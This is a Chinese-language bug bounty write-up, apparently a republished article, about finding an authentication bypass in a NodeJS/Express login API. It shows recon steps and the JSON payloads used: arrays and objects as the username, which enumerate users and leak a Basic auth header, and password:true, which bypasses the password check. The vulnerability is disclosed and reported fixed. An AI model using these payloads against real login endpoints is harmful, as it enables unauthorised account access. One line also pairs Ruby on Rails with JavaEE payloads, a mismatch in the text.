當前位置:
首頁 > 新聞 > NodeJS應用程序身份驗證繞過漏洞分析

NodeJS應用程序身份驗證繞過漏洞分析

本文主要針對的是我參加一個漏洞賞金計劃的過程中發現的NodeJS應用程序身份驗證繞過漏洞進行分析。我們將重點講述我所使用的方法,以便在遇到類似的Web界面(僅提供單一登錄表單)時可以利用這種方法來尋找漏洞。

方法論

如果大家曾經對大型網站(例如GM、Sony、Oath或Twitter)進行過漏洞挖掘,那麼進行的第一項工作可能就是運行子域名發現工具,從而進入到初始偵查過程中。這樣一來,我們就能獲得潛在目標的列表,有時這一列表可能會達到數百個、數千個不同的主機。如果有人專註於網路應用程序的漏洞挖掘,可能會使用Aquatone這類工具,這類工具能夠對常用埠上運行的Web服務進行掃描,同時列舉出網站的響應標題,並列印出屏幕,最終提供一份HTML格式的報告。

但是,當我們查看報告時,會注意到,大多數情況下,這些Web伺服器會呈現出「404 Not Found」、「401 Unauthorized」、「500 Internal Server Error」、默認Web界面或各種服務頁面。其中,服務頁面又包括VPN或網路設備登錄頁面、第三方軟體、cPanels、WordPress登錄頁面等。我們可能無法直接獲得Web應用程序的位置,這樣就無法直接進入到尋找XSS或SQL注入漏洞的步驟。至少,到目前為止,我還沒有這樣的運氣。

但有時,我們實際上可以找到一些看起來像自定義應用程序的界面,其中包含一些其他選項,例如註冊或忘記密碼。在這裡,我們是可以進行一些操作的。遇到此類情況,我通常採用以下的處理方式:

1、首先要做的,就是檢查頁面的源代碼,我們可以找到例如JavaScript或CSS這樣的資源鏈接,並且能從中發現一些應用程序目錄,例如/assets、/public、/scripts等。我們應該對這些目錄進行檢查,以發現其中是否存在可以利用的文件。

2、Wappalyzer(支持在所有流行瀏覽器上作為擴展使用)能夠提供技術上的充分信息,包括Web伺服器、伺服器端使用的技術、JavaScript庫等。這樣一來,我們將掌握該頁面的整體情況,並為進一步的測試選擇正確的方法。在這裡,如果應用程序是使用Ruby on Rails構建的,那麼可以嘗試使用針對JavaEE的RCE Payload。

3、如果發現任何JavaScript文件,我會執行一些靜態分析,以確認是否有任何API終端暴露問題,以及是否存在任何客戶端身份驗證和用戶輸入驗證邏輯。

4、在完成上述步驟並掌握一定信息後,我開始使用Burp Suite測試所有功能(包括登錄、註冊、忘記密碼等)的實際邏輯,並攔截對伺服器的請求。然後,我將請求發送到Repeater進行重放。具體而言,我們在application/json、application/xml和其他類型的位置更改Content-Type,使用多個Payload作為請求的主題,在不同的HTTP方法之間切換,或更改HTTP請求標頭,並觀察上述嘗試是否能導致伺服器端出現錯誤。如果應用程序存在任何漏洞,現在就是發現這些漏洞的最佳時機,我們需要認真觀察每個響應,並且注意任何一點細小的變化。例如,我們使用PUT替換GET發出請求,標頭是否出現缺少?如果我們發送一個格式錯誤的JSON,響應正文中是否會出現不尋常的字元?

5、最後,我運行wfuzz,嘗試發現伺服器上一些不需要的文件或文件夾。我自定義的「Starter Pack」字典中,包含一些Web伺服器上常見的內容,例如.git或.svn這些源版本控制系統文件夾、JetBrain的.idea這類IDE目錄、.DS_Store文件、配置文件、常見Web介面路徑、管理員介面,以及Tomcat、JBoss、Sharepoint的特定文件或文件夾。這個字典中,共包含約45k的條目,我發現利用這一字典總能找到一些有趣的內容,可以幫助我進一步發現漏洞。

如果進行上述步驟後,沒有任何發現,那麼我認為這一應用程序的安全性較強,很可能沒有漏洞能夠繞過身份驗證或進入應用程序。

在實際嘗試中,通過分析認證的請求,我們得到了一些線索。實際上,這是一個簡單的登錄表單,但經過我們對HTTP響應標頭進行分析並使用Wappalyzer進行掃描後,結果表明這是一個使用ExpressJS框架構建的NodeJS應用程序。我之前擔任Web開發人員時,JavaScript是我最為常用的語言,並且我已經在尋找JavaScript相關的棧漏洞這一方面積累了充分的經驗。因此,我決定深入挖掘這一漏洞,看看我能夠做些什麼。

漏洞發現

我們使用Payload,對偵查階段發現的終端進行測試,在這裡,找到了一個憑據錯誤的漏洞,該漏洞是在JSON的POST過程中包含用戶名和密碼:

POST /api/auth/login HTTP/1.1

Host: REDACTED

Connection: close

Content-Length: 48

Accept: application/json, text/plain, */*

Origin: REDACTED

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3558.0 Safari/537.36 DNT: 1

Content-Type: application/json;charset=UTF-8

Referer: REDACTED/login

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9,pl-PL;q=0.8,pl;q=0.7

Cookie: REDACTED

{「username」:」bl4de」,」password」:」secretpassword」}

在本文的後續,我將省略HTTP標頭,因為我們沒有對標頭進行任何更改。

在響應中,沒有看到任何令人興奮的內容,除了其中的一個細節:

HTTP/1.1 401 Unauthorized

X-Powered-By: Express

Vary: X-HTTP-Method-Override, Accept-Encoding

Access-Control-Allow-Origin: *

Access-Control-Allow-Methods: GET

Access-Control-Allow-Headers: X-Requested-With,content-type, Authorization

X-Content-Type-Options: nosniff

Content-Type: application/json; charset=utf-8

Content-Length: 83

ETag: W/」53-vxvZJPkaGgb/+r6gylAGG9yaeoE」

Date: Thu, 11 Oct 2018 18:50:26 GMT

Connection: close

{「result」:」User with login [bl4de] was not found.」,」resultCode」:401,」type」:」error」}

這個細節是,響應使用了方括弧來返回我發送的用戶名。因為在JavaScript中,方括弧表示數組,所以這個用戶名的返回值,看起來像是這個數組的實際元素。為了確認這一點,我發送了另一個Payload,一個空的數組:

{「username」:[],」password」:」secretpassword」}

伺服器響應如下,印證了我們的這一推測:

{「result」:」User with login [] was not found.」,」resultCode」:401,」type」:」error」}

一個空的數組?那麼方括弧是否可以被接受為用戶名呢?

我們嘗試將空對象作為用戶名提交,看看會發生什麼:

{「username」:{},」password」:」secretpassword」}

針對該請求的響應內容,證明了我的猜想,剛剛發送的內容會在身份驗證邏輯中用作用戶名(嘗試調用{}.replace函數,但沒有替換JavaScript對象):

{"result":"val.replace is not a function","resultCode":500,"type":"error"}

我們創建一個空的對象(對應上述響應中的val),然後調用replace()作為其方法。我們可以看到,錯誤完全相同:

let val = {}

val.replace()

VM188:1 Uncaught TypeError: val.replace is not a function at :1:5

漏洞利用

在確認了這一漏洞後,我們就要嘗試對其進行成功的利用。我們根據其響應內容,推斷背後所運行的代碼,接下來要做的下一個測試,就是儘可能「搗亂」,以觸發其他錯誤。看起來,嵌套數組([[]])是一個不錯的嘗試:

{「username」:[[]],」password」:」secretpassword」}

來自伺服器的響應內容超出了我的預期:

{"result":"ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ") OR `Person`.`REDACTED_ID` IN ()) LIMIT 1" at line 1","resultCode":409,"type":"error"}

在我們看到類似這樣的錯誤信息時,會本能地想到SQL注入。但首先,我們需要知道如何在該查詢中使用用戶名來製作正確的Payload,並攻陷MySQL服務。我們知道,用戶名被視為某個數組元素,因此我發送了一個請求,其中username只是數組的第一個元素([0]):

{「username」:[0],」password」:」secretpassword」}

這一次,應用程序返回了不一樣的錯誤信息:

{「result」:」User super.adm, Request {」port」:21110,」path」:」/REDACTED? ApiKey=REDACTED」,」headers」:{」Authorization」:」Basic c3VwZXIuYWRtOnNlY3JldHBhc3N3b3Jk」}, 」host」:」api-global.REDACTED」}, Response {」faultcode」:」ERR_ACCESS_DENIED」,」faultstring」:」User credentials are wrong or missing.」, 」correlationId」:」Id-d5a9bf5b7ad73e0042191000924e3ca9」}」,」resultCode」:401,」type」:」error」}

經過快速分析後,我發現我能夠以某種方式,使用ID為0的用戶(或者某個數據結構中索引為0的用戶)發送另一個請求。由於密碼錯誤,顯然並沒有成功進行身份驗證。實際上,我們可以看到Authorization表頭中包含Base 64編碼後的字元串super.adm:secretpassword,這也就意味著該應用程序確實啟用了索引為0的用戶。

接下來,我們想要弄清楚,是否可以使用後續的索引(1、2、3)從資料庫中枚舉用戶。經過嘗試,成功的找到了另外兩個用戶。此外,我們還發現可以傳遞任意數量的索引,作為登陸請求的用戶名中的數組,它們將在IN()子句的SQL查詢中使用:

{"username":[0,1,2,30,50,100],"password":"secretpassword"}

只要發現其中的某個索引有效,這一請求總會返回一個有效的用戶(應用程序嘗試使用SQL查詢,從資料庫中選擇的用戶名發送這一內部API請求)。但是,它仍然沒有接受我嘗試的密碼,因此我們目前還沒能完全繞過身份驗證。我的下一個挑戰,就是找到繞過密碼驗證的方法。

考慮到我正在分析JavaScript應用程序,那麼我能想到的一個簡單的東西就是Boolean false。

{「username」:[0],」password」:false}

這次,來自伺服器的響應是不同的:

{"result":"Please provide credentials","resultCode":500,"type":"error"}

我從來沒有見過這個錯誤,但我很快確認,剛剛的嘗試是有效的,因為其中缺少了用戶名和密碼。由於我提供了用戶名,伺服器只需要驗證密碼,但false表示根本沒有密碼。如果我們其改成「null」或「0」(這些都是JavaScript中的False值),也將得到相同的響應。

最終PoC

所以,如果將密碼設置為False不起作用,那麼如何將密碼設置為True呢?

{「username」:[0],」password」:true}

就是這樣,使用數組的第一個元素([0])作為用戶名,並且使用True關鍵字作為密碼,使我成功繞過了身份驗證,並得到如下響應:

{"result":"Given pin is not valid.","resultCode":401,"type":"error"}

需要澄清一點,完整的繞過並沒有完成,原因在於這一過程中還涉及到第三個因素:PIN碼。實際上,PIN碼應該在登錄後輸入,由此證明我們已經繞過了身份驗證機制。這一漏洞在提交後被認為有效,並且目前已經被廠商修復。

由於會使用正則表達式對用戶名和密碼進行檢查,因此我們在嘗試創建Payload時會返回語法錯誤的錯誤提示,因為Payload中包含不支持的字元,我們無法進行SQL注入。

致謝

最後,我要感謝該公司及安全團隊的支持與及時修復,感謝HackerOne賞金計劃使我擁有了探索漏洞的機會。最後,要感謝我所在的安全小組成員為這份報告所提供的支持與反饋。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

TAG:嘶吼RoarTalk |